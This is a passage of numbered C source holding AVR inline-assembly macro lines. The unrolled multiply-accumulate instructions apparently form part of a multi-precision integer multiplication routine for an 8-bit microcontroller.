2960 "adc r22, r25 \n\t" \
2961 "mul r3, r16 \n\t" \
2962 "add r23, r0 \n\t" \
2963 "adc r24, r1 \n\t" \
2964 "adc r22, r25 \n\t" \
2965 "mul r4, r15 \n\t" \
2966 "add r23, r0 \n\t" \
2967 "adc r24, r1 \n\t" \
2968 "adc r22, r25 \n\t" \
2969 "mul r5, r14 \n\t" \
2970 "add r23, r0 \n\t" \
2971 "adc r24, r1 \n\t" \
2972 "adc r22, r25 \n\t" \
2973 "mul r6, r13 \n\t" \
2974 "add r23, r0 \n\t" \
2975 "adc r24, r1 \n\t" \
2976 "adc r22, r25 \n\t" \
2977 "mul r7, r12 \n\t" \
2978 "add r23, r0 \n\t" \
2979 "adc r24, r1 \n\t" \
2980 "adc r22, r25 \n\t" \
2981 "st z+, r23 \n\t" \
2982 \
2983 "ldi r23, 0 \n\t" \
2984 "mul r2, r18 \n\t" \
2985 "add r24, r0 \n\t" \
2986 "adc r22, r1 \n\t" \
2987 "adc r23, r25 \n\t" \
2988 "mul r3, r17 \n\t" \
2989 "add r24, r0 \n\t" \
2990 "adc r22, r1 \n\t" \
2991 "adc r23, r25 \n\t" \
2992 "mul r4, r16 \n\t" \
2993 "add r24, r0 \n\t" \
2994 "adc r22, r1 \n\t" \
2995 "adc r23, r25 \n\t" \
2996 "mul r5, r15 \n\t" \
2997 "add r24, r0 \n\t" \
2998 "adc r22, r1 \n\t" \
2999 "adc r23, r25 \n\t" \
3000 "mul r6, r14 \n\t" \
3001 "add r24, r0 \n\t" \
3002 "adc r22, r1 \n\t" \
3003 "adc r23, r25 \n\t" \
3004 "mul r7, r13 \n\t" \
3005 "add r24, r0 \n\t" \
3006 "adc r22, r1 \n\t" \
3007 "adc r23, r25 \n\t" \
3008 "mul r8, r12 \n\t" \
3009 "add r24, r0 \n\t" \
3010 "adc r22, r1 \n\t" \
3011 "adc r23, r25 \n\t" \
3012 "st z+, r24 \n\t" \
3013 \
3014 "ldi r24, 0 \n\t" \
3015 "mul r2, r19 \n\t" \
3016 "add r22, r0 \n\t" \
3017 "adc r23, r1 \n\t" \
3018 "adc r24, r25 \n\t" \
3019 "mul r3, r18 \n\t" \
3020 "add r22, r0 \n\t" \
3021 "adc r23, r1 \n\t" \
3022 "adc r24, r25 \n\t" \
3023 "mul r4, r17 \n\t" \
3024 "add r22, r0 \n\t" \
3025 "adc r23, r1 \n\t" \
3026 "adc r24, r25 \n\t" \
3027 "mul r5, r16 \n\t" \
3028 "add r22, r0 \n\t" \
3029 "adc r23, r1 \n\t" \
3030 "adc r24, r25 \n\t" \
3031 "mul r6, r15 \n\t" \
3032 "add r22, r0 \n\t" \
3033 "adc r23, r1 \n\t" \
3034 "adc r24, r25 \n\t" \
3035 "mul r7, r14 \n\t" \
3036 "add r22, r0 \n\t" \
3037 "adc r23, r1 \n\t" \
3038 "adc r24, r25 \n\t" \
3039 "mul r8, r13 \n\t" \
3040 "add r22, r0 \n\t" \
3041 "adc r23, r1 \n\t" \
3042 "adc r24, r25 \n\t" \
3043 "mul r9, r12 \n\t" \
3044 "add r22, r0 \n\t" \
3045 "adc r23, r1 \n\t" \
3046 "adc r24, r25 \n\t" \
3047 "st z+, r22 \n\t" \
3048 \
3049 "ldi r22, 0 \n\t" \
3050 "mul r2, r20 \n\t" \
3051 "add r23, r0 \n\t" \
3052 "adc r24, r1 \n\t" \
3053 "adc r22, r25 \n\t" \
3054 "mul r3, r19 \n\t" \
3055 "add r23, r0 \n\t" \
3056 "adc r24, r1 \n\t" \
3057 "adc r22, r25 \n\t" \
3058 "mul r4, r18 \n\t" \
3059 "add r23, r0 \n\t" \
3060 "adc r24, r1 \n\t" \
3061 "adc r22, r25 \n\t" \
3062 "mul r5, r17 \n\t" \
3063 "add r23, r0 \n\t" \
3064 "adc r24, r1 \n\t" \
3065 "adc r22, r25 \n\t" \
3066 "mul r6, r16 \n\t" \
3067 "add r23, r0 \n\t" \
3068 "adc r24, r1 \n\t" \
3069 "adc r22, r25 \n\t" \
3070 "mul r7, r15 \n\t" \
3071 "add r23, r0 \n\t" \
3072 "adc r24, r1 \n\t" \
3073 "adc r22, r25 \n\t" \
3074 "mul r8, r14 \n\t" \
3075 "add r23, r0 \n\t" \
3076 "adc r24, r1 \n\t" \
3077 "adc r22, r25 \n\t" \
3078 "mul r9, r13 \n\t" \
3079 "add r23, r0 \n\t" \
3080 "adc r24, r1 \n\t" \
3081 "adc r22, r25 \n\t" \
3082 "mul r10, r12 \n\t" \
3083 "add r23, r0 \n\t" \
3084 "adc r24, r1 \n\t" \
3085 "adc r22, r25 \n\t" \
3086 "st z+, r23 \n\t" \
3087 \
3088 "ldi r23, 0 \n\t" \
3089 "mul r2, r21 \n\t" \
3090 "add r24, r0 \n\t" \
3091 "adc r22, r1 \n\t" \
3092 "adc r23, r25 \n\t" \
3093 "mul r3, r20 \n\t" \
3094 "add r24, r0 \n\t" \
3095 "adc r22, r1 \n\t" \
3096 "adc r23, r25 \n\t" \
3097 "mul r4, r19 \n\t" \
3098 "add r24, r0 \n\t" \
3099 "adc r22, r1 \n\t" \
3100 "adc r23, r25 \n\t" \
3101 "mul r5, r18 \n\t" \
3102 "add r24, r0 \n\t" \
3103 "adc r22, r1 \n\t" \
3104 "adc r23, r25 \n\t" \
3105 "mul r6, r17 \n\t" \
3106 "add r24, r0 \n\t" \
3107 "adc r22, r1 \n\t" \
3108 "adc r23, r25 \n\t" \
3109 "mul r7, r16 \n\t" \
3110 "add r24, r0 \n\t" \
3111 "adc r22, r1 \n\t" \
3112 "adc r23, r25 \n\t" \
3113 "mul r8, r15 \n\t" \
3114 "add r24, r0 \n\t" \
3115 "adc r22, r1 \n\t" \
3116 "adc r23, r25 \n\t" \
3117 "mul r9, r14 \n\t" \
3118 "add r24, r0 \n\t" \
3119 "adc r22, r1 \n\t" \
3120 "adc r23, r25 \n\t" \
3121 "mul r10, r13 \n\t" \
3122 "add r24, r0 \n\t" \
3123 "adc r22, r1 \n\t" \
3124 "adc r23, r25 \n\t" \
3125 "mul r11, r12 \n\t" \
3126 "add r24, r0 \n\t" \
3127 "adc r22, r1 \n\t" \
3128 "adc r23, r25 \n\t" \
3129 "st z+, r24 \n\t" \
3130 \
3131 "ld r2, x+ \n\t" \
3132 "ldi r24, 0 \n\t" \
3133 "mul r3, r21 \n\t" \
3134 "add r22, r0 \n\t" \
3135 "adc r23, r1 \n\t" \
3136 "adc r24, r25 \n\t" \
3137 "mul r4, r20 \n\t" \
3138 "add r22, r0 \n\t" \
3139 "adc r23, r1 \n\t" \
3140 "adc r24, r25 \n\t" \
3141 "mul r5, r19 \n\t" \
3142 "add r22, r0 \n\t" \
3143 "adc r23, r1 \n\t" \
3144 "adc r24, r25 \n\t" \
3145 "mul r6, r18 \n\t" \
3146 "add r22, r0 \n\t" \
3147 "adc r23, r1 \n\t" \
3148 "adc r24, r25 \n\t" \
3149 "mul r7, r17 \n\t" \
3150 "add r22, r0 \n\t" \
3151 "adc r23, r1 \n\t" \
3152 "adc r24, r25 \n\t" \
3153 "mul r8, r16 \n\t" \
3154 "add r22, r0 \n\t" \
3155 "adc r23, r1 \n\t" \
3156 "adc r24, r25 \n\t" \
3157 "mul r9, r15 \n\t" \
3158 "add r22, r0 \n\t" \
3159 "adc r23, r1 \n\t" \
3160 "adc r24, r25 \n\t" \
3161 "mul r10, r14 \n\t" \
3162 "add r22, r0 \n\t" \
3163 "adc r23, r1 \n\t" \
3164 "adc r24, r25 \n\t" \
3165 "mul r11, r13 \n\t" \
3166 "add r22, r0 \n\t" \
3167 "adc r23, r1 \n\t" \
3168 "adc r24, r25 \n\t" \
3169 "mul r2, r12 \n\t" \
3170 "add r22, r0 \n\t" \
3171 "adc r23, r1 \n\t" \
3172 "adc r24, r25 \n\t" \
3173 "ld r0, z \n\t" \
3174 "add r22, r0 \n\t" \
3175 "adc r23, r25 \n\t" \
3176 "adc r24, r25 \n\t" \
3177 "st z+, r22 \n\t" \
3178 \
3179 "ld r3, x+ \n\t" \
3180 "ldi r22, 0 \n\t" \
3181 "mul r4, r21 \n\t" \
3182 "add r23, r0 \n\t" \
3183 "adc r24, r1 \n\t" \
3184 "adc r22, r25 \n\t" \
3185 "mul r5, r20 \n\t" \
3186 "add r23, r0 \n\t" \
3187 "adc r24, r1 \n\t" \
3188 "adc r22, r25 \n\t" \
3189 "mul r6, r19 \n\t" \
3190 "add r23, r0 \n\t" \
3191 "adc r24, r1 \n\t" \
3192 "adc r22, r25 \n\t" \
3193 "mul r7, r18 \n\t" \
3194 "add r23, r0 \n\t" \
3195 "adc r24, r1 \n\t" \
3196 "adc r22, r25 \n\t" \
3197 "mul r8, r17 \n\t" \
3198 "add r23, r0 \n\t" \
3199 "adc r24, r1 \n\t" \
3200 "adc r22, r25 \n\t" \
3201 "mul r9, r16 \n\t" \
3202 "add r23, r0 \n\t" \
3203 "adc r24, r1 \n\t" \
3204 "adc r22, r25 \n\t" \
3205 "mul r10, r15 \n\t" \
3206 "add r23, r0 \n\t" \
3207 "adc r24, r1 \n\t" \
3208 "adc r22, r25 \n\t" \
3209 "mul r11, r14 \n\t" \
3210 "add r23, r0 \n\t" \
3211 "adc r24, r1 \n\t" \
3212 "adc r22, r25 \n\t" \
3213 "mul r2, r13 \n\t" \
3214 "add r23, r0 \n\t" \
3215 "adc r24, r1 \n\t" \
3216 "adc r22, r25 \n\t" \
3217 "mul r3, r12 \n\t" \
3218 "add r23, r0 \n\t" \
3219 "adc r24, r1 \n\t" \
3220 "adc r22, r25 \n\t" \
3221 "ld r0, z \n\t" \
3222 "add r23, r0 \n\t" \
3223 "adc r24, r25 \n\t" \
3224 "adc r22, r25 \n\t" \
3225 "st z+, r23 \n\t" \
3226 \
3227 "ld r4, x+ \n\t" \
3228 "ldi r23, 0 \n\t" \
3229 "mul r5, r21 \n\t" \
3230 "add r24, r0 \n\t" \
3231 "adc r22, r1 \n\t" \
3232 "adc r23, r25 \n\t" \
3233 "mul r6, r20 \n\t" \
3234 "add r24, r0 \n\t" \
3235 "adc r22, r1 \n\t" \
3236 "adc r23, r25 \n\t" \
3237 "mul r7, r19 \n\t" \
3238 "add r24, r0 \n\t" \
3239 "adc r22, r1 \n\t" \
3240 "adc r23, r25 \n\t" \
3241 "mul r8, r18 \n\t" \
3242 "add r24, r0 \n\t" \
3243 "adc r22, r1 \n\t" \
3244 "adc r23, r25 \n\t" \
3245 "mul r9, r17 \n\t" \
3246 "add r24, r0 \n\t" \
3247 "adc r22, r1 \n\t" \
3248 "adc r23, r25 \n\t" \
3249 "mul r10, r16 \n\t" \
3250 "add r24, r0 \n\t" \
3251 "adc r22, r1 \n\t" \
3252 "adc r23, r25 \n\t" \
3253 "mul r11, r15 \n\t" \
3254 "add r24, r0 \n\t" \
3255 "adc r22, r1 \n\t" \
3256 "adc r23, r25 \n\t" \
3257 "mul r2, r14 \n\t" \
3258 "add r24, r0 \n\t" \
3259 "adc r22, r1 \n\t" \
3260 "adc r23, r25 \n\t" \
3261 "mul r3, r13 \n\t" \
3262 "add r24, r0 \n\t" \
3263 "adc r22, r1 \n\t" \
3264 "adc r23, r25 \n\t" \
3265 "mul r4, r12 \n\t" \
3266 "add r24, r0 \n\t" \
3267 "adc r22, r1 \n\t" \
3268 "adc r23, r25 \n\t" \
3269 "ld r0, z \n\t" \
3270 "add r24, r0 \n\t" \
3271 "adc r22, r25 \n\t" \
3272 "adc r23, r25 \n\t" \
3273 "st z+, r24 \n\t" \
3274 \
3275 "ld r5, x+ \n\t" \
3276 "ldi r24, 0 \n\t" \
3277 "mul r6, r21 \n\t" \
3278 "add r22, r0 \n\t" \
3279 "adc r23, r1 \n\t" \
3280 "adc r24, r25 \n\t" \
3281 "mul r7, r20 \n\t" \
3282 "add r22, r0 \n\t" \
3283 "adc r23, r1 \n\t" \
3284 "adc r24, r25 \n\t" \
3285 "mul r8, r19 \n\t" \
3286 "add r22, r0 \n\t" \
3287 "adc r23, r1 \n\t" \
3288 "adc r24, r25 \n\t" \
3289 "mul r9, r18 \n\t" \
3290 "add r22, r0 \n\t" \
3291 "adc r23, r1 \n\t" \
3292 "adc r24, r25 \n\t" \
3293 "mul r10, r17 \n\t" \
3294 "add r22, r0 \n\t" \
3295 "adc r23, r1 \n\t" \
3296 "adc r24, r25 \n\t" \
3297 "mul r11, r16 \n\t" \
3298 "add r22, r0 \n\t" \
3299 "adc r23, r1 \n\t" \
3300 "adc r24, r25 \n\t" \
3301 "mul r2, r15 \n\t" \
3302 "add r22, r0 \n\t" \
3303 "adc r23, r1 \n\t" \
3304 "adc r24, r25 \n\t" \
3305 "mul r3, r14 \n\t" \
3306 "add r22, r0 \n\t" \
3307 "adc r23, r1 \n\t" \
3308 "adc r24, r25 \n\t" \
3309 "mul r4, r13 \n\t" \
3310 "add r22, r0 \n\t" \
3311 "adc r23, r1 \n\t" \
3312 "adc r24, r25 \n\t" \
3313 "mul r5, r12 \n\t" \
3314 "add r22, r0 \n\t" \
3315 "adc r23, r1 \n\t" \
3316 "adc r24, r25 \n\t" \
3317 "ld r0, z \n\t" \
3318 "add r22, r0 \n\t" \
3319 "adc r23, r25 \n\t" \
3320 "adc r24, r25 \n\t" \
3321 "st z+, r22 \n\t" \
3322 \
3323 "ld r6, x+ \n\t" \
3324 "ldi r22, 0 \n\t" \
3325 "mul r7, r21 \n\t" \
3326 "add r23, r0 \n\t" \
3327 "adc r24, r1 \n\t" \
3328 "adc r22, r25 \n\t" \
3329 "mul r8, r20 \n\t" \
3330 "add r23, r0 \n\t" \
3331 "adc r24, r1 \n\t" \
3332 "adc r22, r25 \n\t" \
3333 "mul r9, r19 \n\t" \
3334 "add r23, r0 \n\t" \
3335 "adc r24, r1 \n\t" \
3336 "adc r22, r25 \n\t" \
3337 "mul r10, r18 \n\t" \
3338 "add r23, r0 \n\t" \
3339 "adc r24, r1 \n\t" \
3340 "adc r22, r25 \n\t" \
3341 "mul r11, r17 \n\t" \
3342 "add r23, r0 \n\t" \
3343 "adc r24, r1 \n\t" \
3344 "adc r22, r25 \n\t" \
3345 "mul r2, r16 \n\t" \
3346 "add r23, r0 \n\t" \
3347 "adc r24, r1 \n\t" \
3348 "adc r22, r25 \n\t" \
3349 "mul r3, r15 \n\t" \
3350 "add r23, r0 \n\t" \
3351 "adc r24, r1 \n\t" \
3352 "adc r22, r25 \n\t" \
3353 "mul r4, r14 \n\t" \
3354 "add r23, r0 \n\t" \
3355 "adc r24, r1 \n\t" \
3356 "adc r22, r25 \n\t" \
3357 "mul r5, r13 \n\t" \
3358 "add r23, r0 \n\t" \
3359 "adc r24, r1 \n\t" \
3360 "adc r22, r25 \n\t" \
3361 "mul r6, r12 \n\t" \
3362 "add r23, r0 \n\t" \
3363 "adc r24, r1 \n\t" \
3364 "adc r22, r25 \n\t" \
3365 "ld r0, z \n\t" \
3366 "add r23, r0 \n\t" \
3367 "adc r24, r25 \n\t" \
3368 "adc r22, r25 \n\t" \
3369 "st z+, r23 \n\t" \
3370 \
3371 "ld r7, x+ \n\t" \
3372 "ldi r23, 0 \n\t" \
3373 "mul r8, r21 \n\t" \
3374 "add r24, r0 \n\t" \
3375 "adc r22, r1 \n\t" \
3376 "adc r23, r25 \n\t" \
3377 "mul r9, r20 \n\t" \
3378 "add r24, r0 \n\t" \
3379 "adc r22, r1 \n\t" \
3380 "adc r23, r25 \n\t" \
3381 "mul r10, r19 \n\t" \
3382 "add r24, r0 \n\t" \
3383 "adc r22, r1 \n\t" \
3384 "adc r23, r25 \n\t" \
3385 "mul r11, r18 \n\t" \
3386 "add r24, r0 \n\t" \
3387 "adc r22, r1 \n\t" \
3388 "adc r23, r25 \n\t" \
3389 "mul r2, r17 \n\t" \
3390 "add r24, r0 \n\t" \
3391 "adc r22, r1 \n\t" \
3392 "adc r23, r25 \n\t" \
3393 "mul r3, r16 \n\t" \
3394 "add r24, r0 \n\t" \
3395 "adc r22, r1 \n\t" \
3396 "adc r23, r25 \n\t" \
3397 "mul r4, r15 \n\t" \
3398 "add r24, r0 \n\t" \
3399 "adc r22, r1 \n\t" \
3400 "adc r23, r25 \n\t" \
3401 "mul r5, r14 \n\t" \
3402 "add r24, r0 \n\t" \
3403 "adc r22, r1 \n\t" \
3404 "adc r23, r25 \n\t" \
3405 "mul r6, r13 \n\t" \
3406 "add r24, r0 \n\t" \
3407 "adc r22, r1 \n\t" \
3408 "adc r23, r25 \n\t" \
3409 "mul r7, r12 \n\t" \
3410 "add r24, r0 \n\t" \
3411 "adc r22, r1 \n\t" \
3412 "adc r23, r25 \n\t" \
3413 "ld r0, z \n\t" \
3414 "add r24, r0 \n\t" \
3415 "adc r22, r25 \n\t" \
3416 "adc r23, r25 \n\t" \
3417 "st z+, r24 \n\t" \
3418 \
3419 "ld r8, x+ \n\t" \
3420 "ldi r24, 0 \n\t" \
3421 "mul r9, r21 \n\t" \
3422 "add r22, r0 \n\t" \
3423 "adc r23, r1 \n\t" \
3424 "adc r24, r25 \n\t" \
3425 "mul r10, r20 \n\t" \
3426 "add r22, r0 \n\t" \
3427 "adc r23, r1 \n\t" \
3428 "adc r24, r25 \n\t" \
3429 "mul r11, r19 \n\t" \
3430 "add r22, r0 \n\t" \
3431 "adc r23, r1 \n\t" \
3432 "adc r24, r25 \n\t" \
3433 "mul r2, r18 \n\t" \
3434 "add r22, r0 \n\t" \
3435 "adc r23, r1 \n\t" \
3436 "adc r24, r25 \n\t" \
3437 "mul r3, r17 \n\t" \
3438 "add r22, r0 \n\t" \
3439 "adc r23, r1 \n\t" \
3440 "adc r24, r25 \n\t" \
3441 "mul r4, r16 \n\t" \
3442 "add r22, r0 \n\t" \
3443 "adc r23, r1 \n\t" \
3444 "adc r24, r25 \n\t" \
3445 "mul r5, r15 \n\t" \
3446 "add r22, r0 \n\t" \
3447 "adc r23, r1 \n\t" \
3448 "adc r24, r25 \n\t" \
3449 "mul r6, r14 \n\t" \
3450 "add r22, r0 \n\t" \
3451 "adc r23, r1 \n\t" \
3452 "adc r24, r25 \n\t" \
3453 "mul r7, r13 \n\t" \
3454 "add r22, r0 \n\t" \
3455 "adc r23, r1 \n\t" \
3456 "adc r24, r25 \n\t" \
3457 "mul r8, r12 \n\t" \
3458 "add r22, r0 \n\t" \
3459 "adc r23, r1 \n\t" \
3460 "adc r24, r25 \n\t" \
3461 "ld r0, z \n\t" \
3462 "add r22, r0 \n\t" \
3463 "adc r23, r25 \n\t" \
3464 "adc r24, r25 \n\t" \
3465 "st z+, r22 \n\t" \
3466 \
3467 "ld r9, x+ \n\t" \
3468 "ldi r22, 0 \n\t" \
3469 "mul r10, r21 \n\t" \
3470 "add r23, r0 \n\t" \
3471 "adc r24, r1 \n\t" \
3472 "adc r22, r25 \n\t" \
3473 "mul r11, r20 \n\t" \
3474 "add r23, r0 \n\t" \
3475 "adc r24, r1 \n\t" \
3476 "adc r22, r25 \n\t" \
3477 "mul r2, r19 \n\t" \
3478 "add r23, r0 \n\t" \
3479 "adc r24, r1 \n\t" \
3480 "adc r22, r25 \n\t" \
3481 "mul r3, r18 \n\t" \
3482 "add r23, r0 \n\t" \
3483 "adc r24, r1 \n\t" \
3484 "adc r22, r25 \n\t" \
3485 "mul r4, r17 \n\t" \
3486 "add r23, r0 \n\t" \
3487 "adc r24, r1 \n\t" \
3488 "adc r22, r25 \n\t" \
3489 "mul r5, r16 \n\t" \
3490 "add r23, r0 \n\t" \
3491 "adc r24, r1 \n\t" \
3492 "adc r22, r25 \n\t" \
3493 "mul r6, r15 \n\t" \
3494 "add r23, r0 \n\t" \
3495 "adc r24, r1 \n\t" \
3496 "adc r22, r25 \n\t" \
3497 "mul r7, r14 \n\t" \
3498 "add r23, r0 \n\t" \
3499 "adc r24, r1 \n\t" \
3500 "adc r22, r25 \n\t" \
3501 "mul r8, r13 \n\t" \
3502 "add r23, r0 \n\t" \
3503 "adc r24, r1 \n\t" \
3504 "adc r22, r25 \n\t" \
3505 "mul r9, r12 \n\t" \
3506 "add r23, r0 \n\t" \
3507 "adc r24, r1 \n\t" \
3508 "adc r22, r25 \n\t" \
3509 "ld r0, z \n\t" \
3510 "add r23, r0 \n\t" \
3511 "adc r24, r25 \n\t" \
3512 "adc r22, r25 \n\t" \
3513 "st z+, r23 \n\t" \
3514 \
3515 "ld r10, x+ \n\t" \
3516 "ldi r23, 0 \n\t" \
3517 "mul r11, r21 \n\t" \
3518 "add r24, r0 \n\t" \
3519 "adc r22, r1 \n\t" \
3520 "adc r23, r25 \n\t" \
3521 "mul r2, r20 \n\t" \
3522 "add r24, r0 \n\t" \
3523 "adc r22, r1 \n\t" \
3524 "adc r23, r25 \n\t" \
3525 "mul r3, r19 \n\t" \
3526 "add r24, r0 \n\t" \
3527 "adc r22, r1 \n\t" \
3528 "adc r23, r25 \n\t" \
3529 "mul r4, r18 \n\t" \
3530 "add r24, r0 \n\t" \
3531 "adc r22, r1 \n\t" \
3532 "adc r23, r25 \n\t" \
3533 "mul r5, r17 \n\t" \
3534 "add r24, r0 \n\t" \
3535 "adc r22, r1 \n\t" \
3536 "adc r23, r25 \n\t" \
3537 "mul r6, r16 \n\t" \
3538 "add r24, r0 \n\t" \
3539 "adc r22, r1 \n\t" \
3540 "adc r23, r25 \n\t" \
3541 "mul r7, r15 \n\t" \
3542 "add r24, r0 \n\t" \
3543 "adc r22, r1 \n\t" \
3544 "adc r23, r25 \n\t" \
3545 "mul r8, r14 \n\t" \
3546 "add r24, r0 \n\t" \
3547 "adc r22, r1 \n\t" \
3548 "adc r23, r25 \n\t" \
3549 "mul r9, r13 \n\t" \
3550 "add r24, r0 \n\t" \
3551 "adc r22, r1 \n\t" \
3552 "adc r23, r25 \n\t" \
3553 "mul r10, r12 \n\t" \
3554 "add r24, r0 \n\t" \
3555 "adc r22, r1 \n\t" \
3556 "adc r23, r25 \n\t" \
3557 "ld r0, z \n\t" \
3558 "add r24, r0 \n\t" \
3559 "adc r22, r25 \n\t" \
3560 "adc r23, r25 \n\t" \
3561 "st z+, r24 \n\t" \
3562 \
3563 "ld r11, x+ \n\t" \
3564 "ldi r24, 0 \n\t" \
3565 "mul r2, r21 \n\t" \
3566 "add r22, r0 \n\t" \
3567 "adc r23, r1 \n\t" \
3568 "adc r24, r25 \n\t" \
3569 "mul r3, r20 \n\t" \
3570 "add r22, r0 \n\t" \
3571 "adc r23, r1 \n\t" \
3572 "adc r24, r25 \n\t" \
3573 "mul r4, r19 \n\t" \
3574 "add r22, r0 \n\t" \
3575 "adc r23, r1 \n\t" \
3576 "adc r24, r25 \n\t" \
3577 "mul r5, r18 \n\t" \
3578 "add r22, r0 \n\t" \
3579 "adc r23, r1 \n\t" \
3580 "adc r24, r25 \n\t" \
3581 "mul r6, r17 \n\t" \
3582 "add r22, r0 \n\t" \
3583 "adc r23, r1 \n\t" \
3584 "adc r24, r25 \n\t" \
3585 "mul r7, r16 \n\t" \
3586 "add r22, r0 \n\t" \
3587 "adc r23, r1 \n\t" \
3588 "adc r24, r25 \n\t" \
3589 "mul r8, r15 \n\t" \
3590 "add r22, r0 \n\t" \
3591 "adc r23, r1 \n\t" \
3592 "adc r24, r25 \n\t" \
3593 "mul r9, r14 \n\t" \
3594 "add r22, r0 \n\t" \
3595 "adc r23, r1 \n\t" \
3596 "adc r24, r25 \n\t" \
3597 "mul r10, r13 \n\t" \
3598 "add r22, r0 \n\t" \
3599 "adc r23, r1 \n\t" \
3600 "adc r24, r25 \n\t" \
3601 "mul r11, r12 \n\t" \
3602 "add r22, r0 \n\t" \
3603 "adc r23, r1 \n\t" \
3604 "adc r24, r25 \n\t" \
3605 "ld r0, z \n\t" \
3606 "add r22, r0 \n\t" \
3607 "adc r23, r25 \n\t" \
3608 "adc r24, r25 \n\t" \
3609 "st z+, r22 \n\t" \
3610 \
3611 "ld r2, x+ \n\t" \
3612 "ldi r22, 0 \n\t" \
3613 "mul r3, r21 \n\t" \
3614 "add r23, r0 \n\t" \
3615 "adc r24, r1 \n\t" \
3616 "adc r22, r25 \n\t" \
3617 "mul r4, r20 \n\t" \
3618 "add r23, r0 \n\t" \
3619 "adc r24, r1 \n\t" \
3620 "adc r22, r25 \n\t" \
3621 "mul r5, r19 \n\t" \
3622 "add r23, r0 \n\t" \
3623 "adc r24, r1 \n\t" \
3624 "adc r22, r25 \n\t" \
3625 "mul r6, r18 \n\t" \
3626 "add r23, r0 \n\t" \
3627 "adc r24, r1 \n\t" \
3628 "adc r22, r25 \n\t" \
3629 "mul r7, r17 \n\t" \
3630 "add r23, r0 \n\t" \
3631 "adc r24, r1 \n\t" \
3632 "adc r22, r25 \n\t" \
3633 "mul r8, r16 \n\t" \
3634 "add r23, r0 \n\t" \
3635 "adc r24, r1 \n\t" \
3636 "adc r22, r25 \n\t" \
3637 "mul r9, r15 \n\t" \
3638 "add r23, r0 \n\t" \
3639 "adc r24, r1 \n\t" \
3640 "adc r22, r25 \n\t" \
3641 "mul r10, r14 \n\t" \
3642 "add r23, r0 \n\t" \
3643 "adc r24, r1 \n\t" \
3644 "adc r22, r25 \n\t" \
3645 "mul r11, r13 \n\t" \
3646 "add r23, r0 \n\t" \
3647 "adc r24, r1 \n\t" \
3648 "adc r22, r25 \n\t" \
3649 "mul r2, r12 \n\t" \
3650 "add r23, r0 \n\t" \
3651 "adc r24, r1 \n\t" \
3652 "adc r22, r25 \n\t" \
3653 "ld r0, z \n\t" \
3654 "add r23, r0 \n\t" \
3655 "adc r24, r25 \n\t" \
3656 "adc r22, r25 \n\t" \
3657 "st z+, r23 \n\t" \
3658 \
3659 "ld r3, x+ \n\t" \
3660 "ldi r23, 0 \n\t" \
3661 "mul r4, r21 \n\t" \
3662 "add r24, r0 \n\t" \
3663 "adc r22, r1 \n\t" \
3664 "adc r23, r25 \n\t" \
3665 "mul r5, r20 \n\t" \
3666 "add r24, r0 \n\t" \
3667 "adc r22, r1 \n\t" \
3668 "adc r23, r25 \n\t" \
3669 "mul r6, r19 \n\t" \
3670 "add r24, r0 \n\t" \
3671 "adc r22, r1 \n\t" \
3672 "adc r23, r25 \n\t" \
3673 "mul r7, r18 \n\t" \
3674 "add r24, r0 \n\t" \
3675 "adc r22, r1 \n\t" \
3676 "adc r23, r25 \n\t" \
3677 "mul r8, r17 \n\t" \
3678 "add r24, r0 \n\t" \
3679 "adc r22, r1 \n\t" \
3680 "adc r23, r25 \n\t" \
3681 "mul r9, r16 \n\t" \
3682 "add r24, r0 \n\t" \
3683 "adc r22, r1 \n\t" \
3684 "adc r23, r25 \n\t" \
3685 "mul r10, r15 \n\t" \
3686 "add r24, r0 \n\t" \
3687 "adc r22, r1 \n\t" \
3688 "adc r23, r25 \n\t" \
3689 "mul r11, r14 \n\t" \
3690 "add r24, r0 \n\t" \
3691 "adc r22, r1 \n\t" \
3692 "adc r23, r25 \n\t" \
3693 "mul r2, r13 \n\t" \
3694 "add r24, r0 \n\t" \
3695 "adc r22, r1 \n\t" \
3696 "adc r23, r25 \n\t" \
3697 "mul r3, r12 \n\t" \
3698 "add r24, r0 \n\t" \
3699 "adc r22, r1 \n\t" \
3700 "adc r23, r25 \n\t" \
3701 "ld r0, z \n\t" \
3702 "add r24, r0 \n\t" \
3703 "adc r22, r25 \n\t" \
3704 "adc r23, r25 \n\t" \
3705 "st z+, r24 \n\t" \
3706 \
3707 "ld r4, x+ \n\t" \
3708 "ldi r24, 0 \n\t" \
3709 "mul r5, r21 \n\t" \
3710 "add r22, r0 \n\t" \
3711 "adc r23, r1 \n\t" \
3712 "adc r24, r25 \n\t" \
3713 "mul r6, r20 \n\t" \
3714 "add r22, r0 \n\t" \
3715 "adc r23, r1 \n\t" \
3716 "adc r24, r25 \n\t" \
3717 "mul r7, r19 \n\t" \
3718 "add r22, r0 \n\t" \
3719 "adc r23, r1 \n\t" \
3720 "adc r24, r25 \n\t" \
3721 "mul r8, r18 \n\t" \
3722 "add r22, r0 \n\t" \
3723 "adc r23, r1 \n\t" \
3724 "adc r24, r25 \n\t" \
3725 "mul r9, r17 \n\t" \
3726 "add r22, r0 \n\t" \
3727 "adc r23, r1 \n\t" \
3728 "adc r24, r25 \n\t" \
3729 "mul r10, r16 \n\t" \
3730 "add r22, r0 \n\t" \
3731 "adc r23, r1 \n\t" \
3732 "adc r24, r25 \n\t" \
3733 "mul r11, r15 \n\t" \
3734 "add r22, r0 \n\t" \
3735 "adc r23, r1 \n\t" \
3736 "adc r24, r25 \n\t" \
3737 "mul r2, r14 \n\t" \
3738 "add r22, r0 \n\t" \
3739 "adc r23, r1 \n\t" \
3740 "adc r24, r25 \n\t" \
3741 "mul r3, r13 \n\t" \
3742 "add r22, r0 \n\t" \
3743 "adc r23, r1 \n\t" \
3744 "adc r24, r25 \n\t" \
3745 "mul r4, r12 \n\t" \
3746 "add r22, r0 \n\t" \
3747 "adc r23, r1 \n\t" \
3748 "adc r24, r25 \n\t" \
3749 "ld r0, z \n\t" \
3750 "add r22, r0 \n\t" \
3751 "adc r23, r25 \n\t" \
3752 "adc r24, r25 \n\t" \
3753 "st z+, r22 \n\t" \
3754 \
3755 "ld r5, x+ \n\t" \
3756 "ldi r22, 0 \n\t" \
3757 "mul r6, r21 \n\t" \
3758 "add r23, r0 \n\t" \
3759 "adc r24, r1 \n\t" \
3760 "adc r22, r25 \n\t" \
3761 "mul r7, r20 \n\t" \
3762 "add r23, r0 \n\t" \
3763 "adc r24, r1 \n\t" \
3764 "adc r22, r25 \n\t" \
3765 "mul r8, r19 \n\t" \
3766 "add r23, r0 \n\t" \
3767 "adc r24, r1 \n\t" \
3768 "adc r22, r25 \n\t" \
3769 "mul r9, r18 \n\t" \
3770 "add r23, r0 \n\t" \
3771 "adc r24, r1 \n\t" \
3772 "adc r22, r25 \n\t" \
